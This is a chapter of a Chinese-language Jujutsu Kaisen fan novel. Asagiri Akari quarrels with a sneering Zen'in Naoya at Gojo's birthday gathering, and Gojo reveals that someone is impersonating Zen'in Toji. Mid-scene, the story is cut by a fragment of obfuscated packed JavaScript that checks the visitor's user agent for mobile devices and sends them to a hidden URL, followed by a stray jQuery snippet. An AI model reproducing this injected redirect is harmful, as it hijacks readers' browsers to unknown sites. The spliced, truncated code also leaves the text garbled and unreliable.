36.曜变天目-13
作品:《我不是来修咒具的吗》 “直接在客房休息了?”五条茂对此习以为常,他悠闲地点燃烟斗,“他还是这样随性啊。”
“对,还有家主大人的学生……”前来汇报情况的仆人犹豫了一下,“今晚也在隔壁客房休息。”
“也没什么关系吧。”五条茂说,“家主大人很纵容那个孩子,不是吗?”
“但是,在警官们离开之后,朝雾小姐和家主大人单独待了快一个小时……”
“……那又有什么关系?”五条茂冷冷地瞥了仆人一眼,“你现在不也正和我单独待着吗?”
仆人扑通一声跪了下来,惶恐地说道:“大人!小人不是那个意思。”
任由仆人在地板上跪了几分钟,五条茂才眯着眼睛,停止了吸吐烟雾:“为什么要跪着呢?家主已经说过你们没必要跪下,保持最基本的礼仪就好。”
他和颜悦色地吩咐仆人站起身来:“不要担心那些了,那是根本不可能发生的事。你先退下吧,明天的生日会一定不能出差错。”
虽然五条茂和前来报告情况的仆人本能地做了同一个设想,但是……
很遗憾。五条悟不会那样做。
说不清是为什么叹气,五条茂托着烟斗,走向窗户旁边,望着窗外。
仗着拥有六眼所以为所欲为——五条茂从前是这样理解五条悟的一切行为的。
小时候冷静到有些冷漠,稍微长大一点就开始和五条家的长辈对着干,「六眼」的拥有者应该有这种特权,五条茂认为那没什么,更何况也并没有太离谱。
确实一直在冒犯他们这些老家伙,但是那又有什么不可以呢?难道「六眼」没有冒犯别人的能力吗?等到五条悟真正成为家主,他们这些老家伙更应该学会服从——这不正是他可以从五条家幕后走到五条家台前的原因吗?没有「六眼」的五条家,就算摆资格,又有什么威慑力呢?
他因此默认了五条悟的各种要求,因为除此之外,五条家并没有可以真正教导五条悟的人。
除了最基础的咒术教育,五条悟的一切咒术理论和术式都由他自己摸索完成,这样一个只能依靠自己的天才,做到什么程度都是可以的。
在家时任意去外界散步也好,上学非要去东京也好,对御三家的一些规矩嗤之以鼻也好,这一切叛逆的行为,都因为五条悟的能力而变得无关紧要。
但是五条悟似乎不仅仅是这样。
他在东京咒术高专迅速地成长为一个打算和所有人对着干的人,他不再是小打小闹的叛逆,而是令人胆颤心惊地想要改变这个咒术界。虽然投身教育事业这点令五条茂感到费解,但是他最终也猜到了这位年轻家主的决心:用「六眼」带来的力量,作为最强,最大限度地保证改革没有太多的流血,并且得到大部分人的支持。
这样的人绝不会和还是学生的朝雾灯里产生奇怪的牵扯。
应该。
-
应该……吧?
五条茂站在距离五条悟不远的身后,注视着五条悟和站在五条悟身旁的朝雾灯里。因为穿着和服,五条悟蒙在眼睛上的绷带换成了他一向不怎么喜欢佩戴的雪白缎带,手中握着一把白檀扇,站在一旁的朝雾灯里仍旧穿着高专的学生制服,显得有些违和。
无疑是十分亲密的师生,不过并没有亲近到昨晚仆人提出那种猜想的程度。
针对朝雾灯里危险性的评估即将开始,五条茂吩咐侍立在身旁的仆人,让他们去检查布置了曜变天目盏的房间,随后继续观察着五条悟和朝雾灯里的互动。
——也很正常啊?不就是偶尔耳语一下吗?
这孩子和五条悟说了些什么就走出了房间呢……
他跟了上去。
结果迎面走来了一个令五条茂头疼的人——禅院直哉。
-
因为昨晚睡在客房,朝雾灯里跟着五条悟一起来到即将评定体术的房间才突然想起昨晚安倍刚曾经说过,会把那枚红宝石胸针送到她的房间。她和五条老师提起这件事的本意也是想问到底要怎么处理,没想到五条老师突然有了新想法。
“灯里应该知道吧,虽然说是评估灯里的体术水平,但是这次评估的是为了评估灯里的危险性。”
“……欸?嗯,老师之前有说过这一点。”
“但是灯里根本就没什么危险嘛,实际上是那些家伙在针对老师欸。”五条悟不满地靠近朝雾灯里,“这样,评估是十点开始……现在是九点半。”
“嗯。”
“灯里现在回房间去看那枚胸针吧?拿过来给老师看看,来回大概……十点十分?迟到一下嘛。”
“没什么问题吗?”朝雾灯里问。
“会有什么问题呢?老师在这里呢,到时候正好和那些老家伙吵吵架啊,毕竟被针对的人是我欸。”他无辜地说道,“难道灯里不这么认为吗?”
嗯,她的话……当然也想看到那些没事找事的家伙吃瘪了。
就这样离开了评估的房间。
结果,碰到了一个很奇怪的人。
对方一头金发,仔细看才能看到他的头发底部是黑色,耳朵上戴着时髦的耳饰,穿着羽织,面庞倒是英俊,只是神情令人感到不适。那双墨绿色的眼睛十分傲慢地、从头到脚地打量了她一遍,嘴角不屑地翘起,发出很轻的哼笑声。
像是在看什么物品似的,对方令人反感的视线最终落在了她的脸上。
“啊,”他明摆着打算嘲讽朝雾灯里,语气轻蔑,“只看脸和身材的话,好像还不错哦?”
……欸?
“你就是悟君招揽的那个学生吗?听说实力很不错的样子,不过,据我来看,咒力水平应该还很低吧?”他继续挑剔着朝雾灯里,“你这种人,真的有资格给悟君当学生吗?”
专门来找茬的?不过为什么那样亲近地称呼五条老师?关系很好吗?
悟君。
“啊——”他笑着拍拍手,“我担心得太多了,毕竟女人本来就没有资格成为咒术师吧?”
“喂,”眼见着对方越说越可恶,忍无可忍的朝雾灯里放弃了继续思考对方究竟是谁这件事,她也上下打量了对方一番,嗤笑一声,“你又是谁啊?头发染得很难看欸。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385092|182698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“你没有资格知道我的名字!”
“到底是有多自卑才会一直说其他人没有资格啊?”朝雾灯里问,“那你呢?你是什么有资格的人吗?不说自己是谁的话,我怎么知道你有没有资格来这里说这种话啊。”
“你——”
“别这样吧,直哉少爷。”
帮她解围的是昨天遇到的安倍刚,他的身边站着一位提着公文包的大叔,一脸浓浓的厌世感。
“她毕竟是五条先生的学生。”
“女人还是需要被好好教育啊,安培。”
“男人也需要吧。”提着公文包的大叔语气淡漠地开口,“而且对方还是正在上学的学生,这样对未成年说话的人有资格被称为成年人吗?也没有什么可以被称为男人的资格吧。”
“你这家伙又是什么人啊!”
“等等、冷静点,禅院,”安倍刚拦住了禅院直哉,“他就是我之前和你提到的那位很有名气的律师,在刑事诉讼方面很有口碑的日车宽见先生。”
“哈?你现在带他来干什么——”
“是有些打扰了,”日车宽见的表情依然阴沉,“我没兴趣为禅院先生提供任何刑事方面的帮助,请安倍先生另请高明吧。”
说完,他伸出手,无视了咬牙切齿的禅院直哉,和半拦住禅院直哉的安倍刚握手,转身离开了。
负责带领他们进入的五条家仆人立刻跟到他的身旁,安静地带他走远了。
一切都发展的太过迅速了。
朝雾灯里自己还没和那位直哉少爷吵完,这位律师先生已经迅速地抨击了禅院直哉的无理,朝雾灯里没办法认为对方是为了给自己解围,因为从头到尾,他都没有分给她一个眼神,只是用无法商量的语气和转身就走的行为认定了禅院直哉缺乏作为成年人和男人的资格。
聚集的人越来越多,听到消息从房间里出来的五条悟一行人也走了过来。
“我是不是错过最精彩的部分了?”五条悟问。
他走到朝雾灯里的身边:“现在到底是什么情况?”
-
他没有问朝雾灯里,而是在问禅院直哉。
“悟君,你的学生太可恶了!”
“……啊,”五条悟转头看了一眼朝雾灯里,不耐烦地回应道,“有吗?明明很可爱啊?”
“你竟然包庇这种思想危险的学生……”
“哈?”五条悟冷笑一声,“你是说,我的学生突然被你拦下来品头论足,然后反驳了你几句,就变成了思想危险的人?”
“她那是在语言攻击我!”
“你有这么脆弱吗?直哉?”五条悟说,“好在灯里没有什么危险性,不然现在已经像我之前那样,用拳头攻击你了。马上离开这里,我不想当着其他人的面揍你。”
说完,他看也不看禅院直哉,对所有人宣布了一件事。
“有个不好的消息要告诉大家,咒术界似乎有人在假扮前几年就从禅院家离家出走的禅院甚尔。”
五条悟刻意改变了称呼:“这才是我邀请大家来参加我的生日会的真正原因。”